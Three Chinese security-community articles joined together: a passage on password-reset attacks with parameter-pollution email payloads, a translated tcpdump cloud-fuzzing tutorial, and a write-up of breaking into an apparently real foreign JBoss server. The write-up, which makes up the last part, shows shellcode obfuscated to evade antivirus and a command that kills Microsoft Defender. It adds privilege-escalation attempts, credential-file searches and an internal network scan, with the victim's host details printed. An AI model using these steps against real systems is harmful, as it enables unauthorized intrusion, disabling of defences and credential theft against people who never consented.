密码通常为8-12-24位或最多48位。如果在设置密码时没有字数限制,当你更改密码或者创建账户检测密码时由于长字符串导致拒绝服务攻击。总之这算是一个风险点吧,测试的时候可以留意下，万一那天碰到一个系统错误导致溢出敏感数据，那就不单单是个风险点了。
## **四 通过密码重置页面进行用户枚举**
这个显而易见，有的网站会提醒你输入的用户名或者邮箱是否正确,网站可能在登录做了防护，在忘记密码处可能忘记了。总之不要错过每一个可以进行信息搜集的地方。
这是一个已经修复好的网站的返回信息，并不告诉你是否发送了邮件，也算是一个规避手段吧。这漏洞可大可小，总之要在安全和用户体验之间平衡。
## **五 host 头中毒**
攻击者修改目标的host头将密码重置链接的域名修改为自己的域名。其实这也是很常见的一种漏洞了,邮件还是发送到受害者的邮箱,如果受害者没注意的话点击链接，攻击者控制的网站的记录中可以查看到请求记录，然后在拼接成正确的域名即可实现任意用户密码重置
更改 host头:
在邮件中可以看到密码重置链接的域名已经被修改为攻击者控制的域名
## **六 referer泄漏密码重置令牌**
referer请求头包含上一个网页的地址，所以有可能我们在打开重置链接页面时，点击重置链接页面的另一个链接会带上referer，从而泄露密码重置链接。
打开密码重置页面,添加电子邮件并单击发送
点击重置链接,获取重置页面, 点击网页上提供的任何应用程序（twitter、facebook、linkedin），使用burp拦截请求
可以看到在Referer中泄露了密码重置链接
## **七 弱凭证问题**
如果密码重置链接中包含可以被攻击者轻易猜到的凭证，那这个重置密码链接是不安全的。
最简单粗暴的这种形式，视觉冲击力很强，直接凭证就是用户名,通过枚举出系统中存在的用户名即可实现任意用户密码重置
http://example.com/reset-password?user=victim-user
一个Bugcrowd的例子，重置密码的凭证仅仅是最后的10位数字，和前面那一大串随机字符没关系，你在看是不是就感觉凭证的枚举低多了，去爆破最后几位看看能不能枚举出可用的密码重置链接，很多人一上来看到一大串随机码已经首先放弃了，多想一步可能重置密码就和最后的参数有关系，那岂不是奖金就到手了。
https://redacted.com/update-password/12d52catcbc344ec-9871-85ac6390d863/1621264272
## **八 凭证泄露**
程序无意中泄露了重置密码的token等重要凭证，导致可以任意重置密码
在请求重置密码时，发送重置请求链接时会发送一个token值:
在走流程到重置密码的时候发现该token同样是重置密码时的token:
所以只要我们输入存在的用户名，然后在请求的时候会获得一个可以用在重置密码时的token从而实现任意密码重置。
## **九 使用电子邮件参数重置密码**
在受害者请求密码重置链接时，我们可以尝试以下参数操作，攻击者可以获得受害者的密码重置链接
一 双参数(又名HPP/HTTP参数污染)
[email protected]&[email protected]
二 json表
{"email":["[email protected]","[email protected]"]}
三 使用分隔符
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected]
四
[email protected]%0a%0dcc:[email protected]
payload:{"email":["[email protected]","[email protected]"]}
**十 替换返回包中的信息**
有时更改密码的跳转是前端控制的，如果更改返回包的内容为正确的内容，比如更改返回包代码等可以绕过限制跳转到更改密码步骤，如果对权限校验不严格的话可以实现任意更改用户密码
用户输入用户名后需要进行安全验证，随便输入答案，将会返回如下内容
HTTP/1.1 401 Unauthorized
("message":"unsuccessful","statusCode:403,"errorDescription":"Unsuccessful")
根据返回包构造下正确的返回包:
("message":"success","statusCode:200,"errorDescription":"Success")
跳转到了更改密码的界面，进行密码的更改
发现密码修改成功,这里修改了密码一定要试下是否修改成功，现在大部分站前端验证是可以跳过，但是最后修改密码是不成功的。
## **总结**
其实吧思路是层出不穷,这只能算是最基本的思路吧。只是希望大家在测试的时候不至于盲目，没有头绪，在基本的操作之上发现骚操作，这应该才是我们的追求。 | 社区文章 |
# 【技术分析】看我如何使用Cloud Fuzzing挖到了一个tcpdump漏洞
|
##### 译文声明
本文是翻译文章，文章来源：softscheck.com
原文地址：[https://www.softscheck.com/en/identifying-security-vulnerabilities-with-cloud-fuzzing/](https://www.softscheck.com/en/identifying-security-vulnerabilities-with-cloud-fuzzing/)
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[](http://bobao.360.cn/member/contribute?uid=2606963099)[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
**Fuzzing（模糊测试）**
是一种识别软件设计缺陷和安全漏洞的方法。随着技术的不断进步，Fuzzing也逐步转移到了云端（Cloud）。与传统的模糊测试技术相比，Cloud
Fuzzing不仅可以提升模糊测试的速度，而且还可以提升测试的可扩展程度。在这篇文章中，我们将介绍Cloud
Fuzzing的完整过程。通过这种技术（softScheck Cloud Fuzing Framework-sCFF），我成功地在Ubuntu
16.04的tcpdump（4.9版本）中发现了一个安全漏洞。感兴趣的同学可以自行下载sCFF框架，并按照本文的操作步骤动手尝试一下。
**
**
**一、背景知识**
第一章主要介绍的是与本文有关的一些基础知识以及测试会用到的程序。如果你之前已经比较了解Cloud
Fuzzing了，你可以直接阅读第二章。但是，我们强烈建议各位按照文章顺序进行阅读。
**1.1 Fuzzing（模糊测试）**
Fuzzing是一种测试软件健壮性的技术。模糊测试，也称Fuzzing或Fuzz测试，它是一种自动化软件测试技术，主要通过向被测目标输入大量的畸形数据并监测其异常来发现漏洞，是当前安全业界流行的漏洞挖掘手段之一。从广义角度来看，该技术的关键在于如何构造有效的测试用例(输入的畸形数据)，以及如何有效的监控异常。Fuzzing技术简单、有效、自动化程度比较高，是目前工业界进行安全测试最有效的方法，被广泛应用于Web、系统、应用程序的漏洞挖掘。由于它一般属于黑盒测试，通过构造有效的畸形数据进行测试，因此该技术的代码覆盖率相对较低，且它的测试效率跟测试人员的经验和技术有很大关系。
在此之前，模糊测试通常是在本地计算机中进行的，但随着“基础设施即服务”的趋势不断兴趣，越来越多的企业开始提供云端服务了。实际上，类似微软和Google这样的大型公司早就已经在云端实现了模糊测试技术。例如在Springfield项目中，微软公司甚至已经开始向广大开发者提供Cloud
Fuzzing服务了。
那么我们我什么要用Cloud Fuzzing而不用传统的模糊测试技术呢？首先，Cloud
Fuzzing意味着你不需要再购买额外的电脑了，而购买测试设备不仅需要花很多钱，而且你还需要花时间去搭建和配置测试环境。但Cloud
Fuzzing最大的优势就在于它所能提供的灵活性和可扩展性，它可以在短时间内完成大量的工作，并帮助测试人员节省大量的时间。比如说，Cloud
Fuzzing可以在同一时间在多种不同的操作系统上对同一个程序进行模糊测试。如果一个项目对数据吞吐量有较高要求，那么这个测试实例就可以使用多块固态硬盘（RAID0配置）；如果一个程序需要大量的RAM，那么我们就可以选择一个可以提供大量RAM的配置。如果我们需要对一个Web应用或网络协议进行测试，那么Cloud
Fuzzing就可以给我们提供大量的终端节点。
当然了，Cloud
Fuzzing也有其不足之处。首先，你必须充分信任云端的提供方，因为你所有的一切都运行在云端设备上，而不是运行在你自己的设备中。其次，你在使用Cloud
Fuzzing时是需要付费的，那么当你使用了几个月甚至几年之后，你所支付过的费用可能要比你自行购买测试设备所花的钱还要多。
**1.2 亚马逊AWS**
亚马逊Web服务（AWS）是Amazon.com所提供的一系列在线服务的集合，而AWS也是目前云计算领域中最大的巨头。AWS其中的一个组件为弹性云计算（EC2），EC2允许用户设置虚拟机，用户可以对其进行各种配置，并将其充当服务器使用。用户所创建的一个实例本质上就是云端的一台虚拟服务器，它由操作系统和软件应用所组成，用户在创建的过程中还可以自行分配服务器所需的资源。除此之外，用户也可以在亚马逊设备镜像（AMI）库中选择需要的操作系统，而且亚马逊也给用户提供了一百多种不同的机器配置选项，用户可以根据自己的需要来选择配置文件。用户付费是按机器运行小时来付费的，而高配置实例的成本要比低配置实例要低得多。
**1.3 softScheck Cloud Fuzzer Framework**
为了尽可能地简化模糊测试的过程，softScheck的技术人员开发出了softScheck Cloud Fuzzer
Framework（sCFF）。sCFF采用Python 3编写，并使用Boto 3
API来与AWS通信。sCFF由多种子程序组成，其中的每个工具都可以完成多项任务。
在下图中，我们根据模糊测试的阶段来对sCFF子程序进行了分类：
如果你想深入了解sCFF的架构和技术细节，请阅读这篇文章【[sCFF论文](https://www.softscheck.com/publications/Pohl_Kirsch_scff_paper_170405.pdf)】。
**1.4 American fuzzy lop**
American fuzzy
log（afl）是sCFF所使用的模糊测试器（fuzzer），afl以其测试速度、稳定性和操作界面而为人所知，而且它可以帮助我们发现软件中的各种漏洞。如果我们拥有测试目标的源码，那么它在对源码进行了分析之后，不仅能够生成更加合适的测试向量，而且还可以显著提升测试覆盖率。而在给定的时间里，代码覆盖率越大，那么扫描到安全漏洞的可能性也就越高。下图显示的是afl的运行界面：
**1.5 tcpdump**
众所周知，Tcpdump是一个网络数据包分析器，它可以捕捉、显示、并以[pcap文件格式](https://wiki.wireshark.org/Development/LibpcapFileFormat)保存目标网络所发送的数据包。与Wireshark不同的是，Tcpdump可以通过简单的命令（无需交互）来运行，这样可以让模糊测试过程变得更加简单。
**1.6 GNU Debugger**
在GNU
DeBugger（[GDB](https://www.gnu.org/software/gdb/)）的帮助下，我们可以对软件的运行状态进行一步一步地分析，以便我们找出软件崩溃的原因。
**二、使用sCFF来对tcpdump进行模糊测试**
在了解完基础知识之后，接下来让我们尝试寻找一下tcpdump 4.9中存在的漏洞。
**2.1 准备工作**
如果你想要找出tcpdump中的漏洞，你首先要配置AWS实例和sCFF。
要求：
–[创建一个AWS账号](https://portal.aws.amazon.com/gp/aws/developer/registration/index.html)；
–[导出AWS密钥ID和密钥](http://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html)；
-.aws/config中应该包含你的地区信息，.aws/credentials中应该包含密钥ID和访问密钥；
-创建一个SSH安全组，并允许实例与外部端口22之间进行通信；
-创建并下载[密钥对](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html)（SSH通信需要使用到这些密钥）；
–[下载](https://github.com/softscheck/sCFF)并安装sCFF；
**2.2 预测试阶段**
准备工作完成之后，我们要下载tcpdump
v4.9的源代码。当然了，你也可以直接使用git来下载tcpdump的最新版本，虽然本文所描述的漏洞在新版本中已经修复了，但你说不定可以使用本文的方法找出新的漏洞呢？
下载完成之后，我们可以使用“CC=afl-gcc ./configure && make”命令来编译源码。
编译成功之后，我们通过“scff-mkconfig”命令来创建一个sCFF项目文件。请确保将target参数设置为“tcpdump”，将“args”参数设置为“–e –r
@@”。其中“-e”和“-r”都是tcpdump的参数，“-e”表示打印出数据包中的扩展header，“-r”用于读取文件。下面是我们通过“scff-mkconfig”命令创建出的配置文件：
[INSTANCES]
ami = ami-0963b466
gid = tcpdump49
instancetype = t2.micro
name = auto
numberofmachines = 4
platform = linux
[FUZZING]
dependencies = none
fuzzer = afl
fuzzdir = fuzzing
inputdir = fuzzing/input
outputdir = fuzzing/output
template = ipv4.pcap
target = tcpdump
args = -e -r @@
注：现在，亚马逊允许用户通过“scff-create-instances”命令来创建EC2实例。
**2.3 测试阶段**
接下来，我们可以通过命令“scff-ctrl .
bootstrap”来对用于Fuzzing测试的设备进行配置。配置完成之后，模糊测试便开始了。sCFF允许我们选择单模Fuzzing和分布式Fuzzing。在单模Fuzzing下，每一个实例都会运行一个fuzzer；二在分布式Fuzzing中，虽然仍是每一个实例运行一个fuzzer，但fuzzing数据会在实例间共享，这样可以提升测试速度。如果你拥有两个以上的实例，我们推荐使用分布式Fuzzing模式（命令：“scff-ctrl . distributed”）。如果想要了解测试的状态，我们可以通过浏览器来访问云服务器进行查看，并通过命令“scff-ctrl . grab-findings”来下载错误日志。
**2.4 测试完成后**
“scff-exploitcheck”命令将会对我们的发现进行分析，假阳性和重复出现的崩溃信息将会被过滤，最后剩下的信息将会用于漏洞的检测和利用。
如果找到的信息有红色的“EXPLOITABLE”标签标注，那么这里存在漏洞的可能性就非常高了。正如上图所示，tcpdump
4.9的文件printsl.c中存在一个可利用的漏洞。接下来，我们用GDB来对崩溃信息进行分析：
分析后我们可以看到，dir为255，而且dir也是lastlen其中的一个引用参数（定义为lastlen[2][255]），这里存在参数越界，而正是这一点导致了崩溃的出现。
如果要解决这个问题，我们可以更正dir的值，或者检查dir的值是否在0到2之间。现在，我们可以在dir =
p[DIR_SLX]后面设置一个断点，然后在gdb中修改dir的值，感兴趣的同学可以自己尝试写一个补丁【[参考资料](https://www.softscheck.com/en/identifying-security-vulnerabilities-with-cloud-fuzzing/#collapsePATCH)】。
修复之后，再对源码重新进行编译，然后检查程序是否还会崩溃。
**
**
**三、总结**
这个漏洞并不是非常的严重，因为攻击者必须要让目标用户使用“-e”参数来打开pcap文件才可以完成攻击。虽然攻击难度较大，但这仍然是一个安全漏洞。我们也将该漏洞上报给了tcpdump的安全团队，这个漏洞将在tcpdump
v4.10中得到修复。
整个测试过程大约需要五个小时，其中包括发现并修复漏洞。
Downloading and compiling tcpdump: 10 minutes
Pre Fuzzing Phase + template generation: 10 minutes
Fuzzing Phase: 110 minutes
Post Fuzzing Phase: 60 minutes
Patch writing and retesting: 90 minutes
----------------------------------------------------------- Total: 300 minutes
**参考资料**
1.<https://www.softscheck.com/en/softscheck-blog/>
2.[https://www.softscheck.com/en/identifying-security-vulnerabilities-with-cloud-fuzzing/#collapsePATCH](https://www.softscheck.com/en/identifying-security-vulnerabilities-with-cloud-fuzzing/%23collapsePATCH)
3.<https://wiki.wireshark.org/Development/LibpcapFileFormat>
4\. <https://www.gnu.org/software/gdb/>
5\.
<https://www.softscheck.com/publications/Pohl_Kirsch_scff_paper_170405.pdf>
6\. <http://lcamtuf.coredump.cx/afl/>
7\. <https://www.microsoft.com/en-us/springfield/> | 社区文章 |
# 工具准备
[jexboss](https://github.com/joaomatosf/jexboss)
Kali Linux
CS 4.3
[Windows杀软在线查询一](https://www.ddosi.org/av/1.php)
[Windows杀软在线查询二](https://www.adminxe.com/CompareAV/index.php)
[Windows杀软在线查询三](http://payloads.net/kill_software/)
[fscan](https://github.com/shadow1ng/fscan)
[潮汐shellcode免杀](http://bypass.tidesec.com/)
[LSTAR](https://github.com/lintstar/LSTAR)
[CobaltStrike其他插件](https://oss.ywhack.com/%E5%90%8E%E6%B8%97%E9%80%8F/CobaltStrike)
[PEASS-ng](https://github.com/carlospolop/PEASS-ng)
[PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
# 外网打点
1、为了练习内网横向，悄悄的盯上国外的站点
2、发现jboss网站存在反序列化漏洞，是呀jexboss无法利用成功
python jexboss.py -u https://xx.xx.xx/
3、使用工具`java反序列化终极测试工具 by 6哥`成功利用
4、查看当前用户`whoami`，普通用户
5、查看IP地址`ipconfig`
6、查看是否有杀软`tasklist /svc`
7、将查询的内容粘贴到Windows杀软在线查询，发现存在杀软
8、查看服务器是否出网`ping www.baidu.com`，很不错，服务器出网
# CS上线
1、因为有杀软，我们要考虑绕过，直接上传CS木马肯定是不行的，本次绕过的是潮汐shellcode免杀，因为很多github上利用python打包的exe文件太大，上传很慢，而潮汐shellcode免杀文件较小，上传快。
2、CS先生成c语言的shellcode
3、将shellcode内容复制到潮汐网站上，生成的exe上传到目标机器，然后执行命令
C:\\usr\\desarrollo\\jboss-5.1.0.GA\\server\\sigAmeServer\\deploy\\ROOT.war\\TideAv-Go1-2023-02-04-10-31-21-221261.exe tide
4、CS成功上线
# 权限提升
### 信息收集
1、查看当前用户及特权
whoami
whoami /priv
2、查看系统版本及补丁信息
systeminfo
Nombre de host: AMEPROWEBEGAD
Nombre del sistema operativo: Microsoft Windows 10 Pro
Versi¢n del sistema operativo: 10.0.19044 N/D Compilaci¢n 19044
Fabricante del sistema operativo: Microsoft Corporation
Configuraci¢n del sistema operativo: Estaci¢n de trabajo miembro
Tipo de compilaci¢n del sistema operativo: Multiprocessor Free
Propiedad de: appzusr
Organizaci¢n registrada:
Id. del producto: 00331-10000-00001-AA727
Fecha de instalaci¢n original: 13/5/2022, 14:03:47
Tiempo de arranque del sistema: 1/2/2023, 16:50:29
Fabricante del sistema: VMware, Inc.
Modelo el sistema: VMware Virtual Platform
Tipo de sistema: x64-based PC
Procesador(es): 2 Procesadores instalados.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz
[02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz
Versi¢n del BIOS: Phoenix Technologies LTD 6.00, 12/11/2020
Directorio de Windows: C:\Windows
Directorio de sistema: C:\Windows\system32
Dispositivo de arranque: \Device\HarddiskVolume1
Configuraci¢n regional del sistema: ezs-mx;Espa¤ol (M‚xico)
Idioma de entrada: es-mx;Espa¤ol (M‚xico)
Zona horaria: (UTC-06:00) Guadalajara, Ciudad de M‚xico, Monterrey
Cantidad total de memoria f¡sica: 4.095 MB
Memoria f¡sica disponible: 1.201 MB
Memoria virtual: tama¤o m ximo: 4.799 MB
Memoria virtual: disponible: 1.147 MB
Memoria virtual: en uso: 3.652 MB
Ubicaci¢n(es) de archivo de paginaci¢n: C:\pagefile.sys
Dominio: ame.local
Servidor de inicio de sesi¢n: \\AMEPROWEBEGAD
Revisi¢n(es): 4 revisi¢n(es) instaladas.
[01]: KB5004331
[02]: KB5003791
[03]: KB5006670
[04]: KB5005699
Tarjeta(s) de red: 1 Tarjetas de interfaz de red instaladas.
z [01]: Intel(R) PRO/1000 MT Network Connection
Nombre de conexi¢n: Ethernet0
DHCP habilitado: No
Direcciones IP
[01]: 172.16.2.100
[02]: fe80::591:ae09:eee1:888e
Requisitos Hyper-V: Se detect¢ un hipervisor. No se mostrar n las caracter¡sticas necesarias para Hyper-V.
3、查看开放的端口服务`netstat -ano`
Conexiones activas
Proto Direcci¢n local Direcci¢n remota Estado PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 600
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1090 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:1098 0.0.0.0:0 LISTENING 7600
TCP z 0.0.0.0:1099 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1072
TCP 0.0.0.0:3873 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:4445 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:4446 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:4457 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:4712 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:4713 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 6652
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:7070 0.0.0.0:0 LISTENING 3564
TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:8080 0.0.0.0:0 z LISTENING 7600
TCP 0.0.0.0:8083 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:46305 0.0.0.0:0 LISTENING 7600
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 832
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 680
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1416
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1612
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 2452
TCP 0.0.0.0:49671 0.0.0.0:0 LISTENING 832
TCP 0.0.0.0:49672 0.0.0.0:0 LISTENING 3404
TCP 0.0.0.0:49704 0.0.0.0:0 LISTENING 820
TCP 0.0.0.0:49708 0.0.0.0:0 LISTENING 3048
TCP 0.0.0.0:51407 0.0.0.0:0 LISTENING 7600
TCP 127z.0.0.1:5140 0.0.0.0:0 LISTENING 7172
TCP 127.0.0.1:51411 0.0.0.0:0 LISTENING 7600
TCP 172.16.2.100:139 0.0.0.0:0 LISTENING 4
TCP 172.16.2.100:8080 172.16.12.34:42602 TIME_WAIT 0
TCP 172.16.2.100:8080 172.16.12.34:42610 ESTABLISHED 7600
TCP 172.16.2.100:8080 172.16.12.34:55672 TIME_WAIT 0
TCP 172.16.2.100:8080 172.16.12.34:55686 TIME_WAIT 0
TCP 172.16.2.100:49717 38.90.226.62:8883 ESTABLISHED 3576
TCP 172.16.2.100:50848 172.16.2.100:51407 TIME_WAIT 0
TCP 172.16.2.100:51413 172.16.2.190:1433 ESTABLISHED 7600
TCP 172.16.2.100:51447 172.16.2.190:1433 ESTABLISHED 7600
TCP 172.16.2.100:56063 172.16.2.11:2222 ESTABLISHED 3576
TCP 172.16.2.100:56538 92.223.66.48:443 ESTABLISHED 3564
TCP [::]:135 [::]:0 LISTENINzG 600
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:1090 [::]:0 LISTENING 7600
TCP [::]:1098 [::]:0 LISTENING 7600
TCP [::]:1099 [::]:0 LISTENING 7600
TCP [::]:3389 [::]:0 LISTENING 1072
TCP [::]:3873 [::]:0 LISTENING 7600
TCP [::]:4444 [::]:0 LISTENING 7600
TCP [::]:4445 [::]:0 LISTENING 7600
TCP [::]:4446 [::]:0 LISTENING 7600
TCP [::]:4457 [::]:0 LISTENING 7600
TCP [::]:4712 [::]:0 LISTENING 7600
TCP [::]:4713 [::]:0 LISTENING 7600
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:8009 z [::]:0 LISTENING 7600
TCP [::]:8080 [::]:0 LISTENING 7600
TCP [::]:8083 [::]:0 LISTENING 7600
TCP [::]:46305 [::]:0 LISTENING 7600
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 832
TCP [::]:49665 [::]:0 LISTENING 680
TCP [::]:49666 [::]:0 LISTENING 1416
TCP [::]:49667 [::]:0 LISTENING 1612
TCP [::]:49668 [::]:0 LISTENING 2452
TCP [::]:49671 [::]:0 LISTENING 832
TCP [::]:49672 [::]:0 LISTENING 3404
TCP [::]:49704 [::]:0 LISTENING 820
TCP [::]:49708 [::]:0 LISTENING 30z48
TCP [::]:51407 [::]:0 LISTENING 7600
UDP 0.0.0.0:123 *:* 1268
UDP 0.0.0.0:500 *:* 3040
UDP 0.0.0.0:3389 *:* 1072
UDP 0.0.0.0:4500 *:* 3040
UDP 0.0.0.0:5050 *:* 6652
UDP 0.0.0.0:5353 *:* 1432
UDP 0.0.0.0:5355 *:* 1432
UDP 0.0.0.0:50001 *:* 3564
UDP 0.0.0.0:50007 *:* 1240
UDP 0.0.0.0:56152 *:* 1240
UDP 0.0.0.0:61593 *:* 1240
UDP 0.0.0.0:64843 *:* 1240
UDP 127.0.0.1:1900 *z:* 2876
UDP 127.0.0.1:50434 *:* 832
UDP 127.0.0.1:55588 *:* 2876
UDP 127.0.0.1:65220 *:* 1868
UDP 127.0.0.1:65222 *:* 2360
UDP 172.16.2.100:137 *:* 4
UDP 172.16.2.100:138 *:* 4
UDP 172.16.2.100:1900 *:* 2876
UDP 172.16.2.100:55587 *:* 2876
UDP [::]:123 *:* 1268
UDP [::]:500 *:* 3040
UDP [::]:3389 *:* 1072
UDP [::]:4500 *:* 3040
UDP [::]:5353 *:* 1432
z UDP [::]:5355 *:* 1432
UDP [::1]:1900 *:* 2876
UDP [::1]:55586 *:* 2876
UDP [fe80::591:ae09:eee1:888e%13]:1900 *:* 2876
UDP [fe80::591:ae09:eee1:888e%13]:55585 *:* 2876
4、查看网卡信息`shell ipconfig /all`
Configuración IP de Windows
Nombre de host. . . . . . . . . : AMEPROWEBEGAD
Sufijo DNS principal . . . . . : ame.local
Tipo de nodo. . . . . . . . . . : híbrido
Enrutamiento IP habilitado. . . : no
Proxy WINS habilitado . . . . . : no
Lista de búsqueda de sufijos DNS: ame.local
Adaptador de Ethernet Ethernet0:
Sufijo DNS específico para la conexión. . :
Descripción . . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Dirección física. . . . . . . . . . . . . : 00-50-56-B2-9D-FE
DHCP habilitado . . . . . . . . . . . . . : no
Configuración automática habilitada . . . : sí
Vínculo: dirección IPv6 local. . . : fe80::591:ae09:eee1:888e%13(Preferido)
Dirección IPv4. . . . . . . . . . . . . . : 172.16.2.100(Preferido)
Máscara de subred . . . . . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada . . . . . : 172.16.2.254
IAID DHCPv6 . . . . . . . . . . . . . . . : 100683862
DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-2A-10-71-A7-00-50-56-B2-9D-FE
Servidores DNS. . . . . . . . . . . . . . : 172.16.2.20
10.0.0.1
NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado
5、路由表信息`shell arp -a`
Interfaz: 172.16.2.100 --- 0xd
Dirección de Internet Dirección física Tipo
172.16.2.11 00-50-56-b2-ac-66 dinámico
172.16.2.20 00-50-56-b2-d2-30 dinámico
172.16.2.150 00-90-a9-d6-91-01 dinámico
172.16.2.190 00-50-56-b2-99-b0 dinámico
172.16.2.254 00-00-5e-00-01-02 dinámico
172.16.2.255 ff-ff-ff-ff-ff-ff estático
224.0.0.22 01-00-5e-00-00-16 estático
224.0.0.251 01-00-5e-00-00-fb estático
224.0.0.252 01-00-5e-00-00-fc estático
239.255.255.250 01-00-5e-7f-ff-fa estático
6、是否存在域环境`shell systeminfo`，确实存在域环境
### CS自带插件提权
1、首先使用CS自带插件提权，无法提权成功，且提权后，CS就失去主机控制，应该是提权进程被杀软发现（包括第三方提权插件都不行）。
### 结束杀软进程
1、我们来尝试一下是否可以关闭杀软，通过上面信息知道杀软进程名`MsMpEng.exe`，通过进程对比可以发现，杀软已经被我们关闭了。
tskill MsMpEng
tasklist /svc
### Windows-Exploit-Suggester
1、安装更新脚本
python2 -m pip install --user xlrd==1.1.0
python2 windows-exploit-suggester.py --update
2、将上面收集的systeminfo内容复制到`systeminfo.txt`，查找对应的漏洞
python2 ./windows-exploit-suggester.py --database 2023-02-06-mssb.xls --systeminfo systeminfo.txt
3、将查找的exp上传测试提权，发现都不成功。
### PEASS-ng
1、上传到目标机器，无法执行，被杀软发现了，虽然已经关闭杀软进程，但是过一会，杀软自启动
winPEASany.exe log=result.txt
### 查看SAM密码文件
1、SAM密码文件位置
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
2、由于不是管理员账号，无法查看
### windows敏感文件
1、查看最近打开的文档
dir %APPDATA%\Microsoft\Windows\Recent
2、递归搜索后面文件的password字段
findstr /si password config.* *.ini *.txt *.properties
3、递归查找当前目录包含conf的文件
dir /a /s /b "*conf*" > 1.txt
4、递归查找目录下的txt中的password字段
findstr /s /i /c:"Password" 目录\*.txt
5、递归查找目录下的敏感文件输出到桌面123.txt中
for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo %i >> C:\tmp\123.txt
6、指定目录搜索各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
7、收集各类账号密码信息
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
### PrintSpoofer提权
1、执行命令`PrintSpoofer.exe -i -c cmd`无法提权
PrintSpoofer.exe -i -c cmd
# 横向渗透
### fscan扫描
1、上传fscan，执行`shell "C:/Users/appusr/fscan64.exe" -h
172.16.2.1/24`，发现存活35个IP，扫出很多网站
(icmp) Target 172.16.2.5 is alive
(icmp) Target 172.16.2.9 is alive
(icmp) Target 172.16.2.11 is alive
(icmp) Target 172.16.2.20 is alive
(icmp) Target 172.16.2.37 is alive
(icmp) Target 172.16.2.38 is alive
(icmp) Target 172.16.2.45 is alive
(icmp) Target 172.16.2.46 is alive
(icmp) Target 172.16.2.47 is alive
(icmp) Target 172.16.2.32 is alive
(icmp) Target 172.16.2.33 is alive
(icmp) Target 172.16.2.31 is alive
(icmp) Target 172.16.2.60 is alive
(icmp) Target 172.16.2.70 is alive
(icmp) Target 172.16.2.72 is alive
(icmp) Target 172.16.2.80 is alive
(icmp) Target 172.16.2.81 is alive
(icmp) Target 172.16.2.86 is alive
(icmp) Target 172.16.2.84 is alive
(icmp) Target 172.16.2.85 is alive
(icmp) Target 172.16.2.82 is alive
(icmp) Target 172.16.2.100 is alive
(icmp) Target 172.16.2.111 is alive
(icmp) Target 172.16.2.117 is alive
(icmp) Target 172.16.2.120 is alive
(icmp) Target 172.16.2.83 is alive
(icmp) Target 172.16.2.138 is alive
(icmp) Target 172.16.2.146 is alive
(icmp) Target 172.16.2.150 is alive
(icmp) Target 172.16.2.170 is alive
(icmp) Target 172.16.2.190 is alive
(icmp) Target 172.16.2.195 is alive
(icmp) Target 172.16.2.200 is alive
(icmp) Target 172.16.2.87 is alive
(icmp) Target 172.16.2.254 is alive
[*] Icmp alive hosts len is: 35
172.16.2.38:22 open
172.16.2.120:21 open
172.16.2.20:22 open
172.16.2.37:22 open
172.16.2.150:21 open
172.16.2.117:22 open
172.16.2.82:22 open
172.16.2.111:22 open
172.16.2.81:22 open
172.16.2.72:22 open
172.16.2.70:22 open
172.16.2.45:21 open
172.16.2.60:22 open
172.16.2.37:80 open
172.16.2.11:80 open
172.16.2.200:22 open
172.16.2.83:22 open
172.16.2.150:22 open
172.16.2.170:22 open
172.16.2.146:22 open
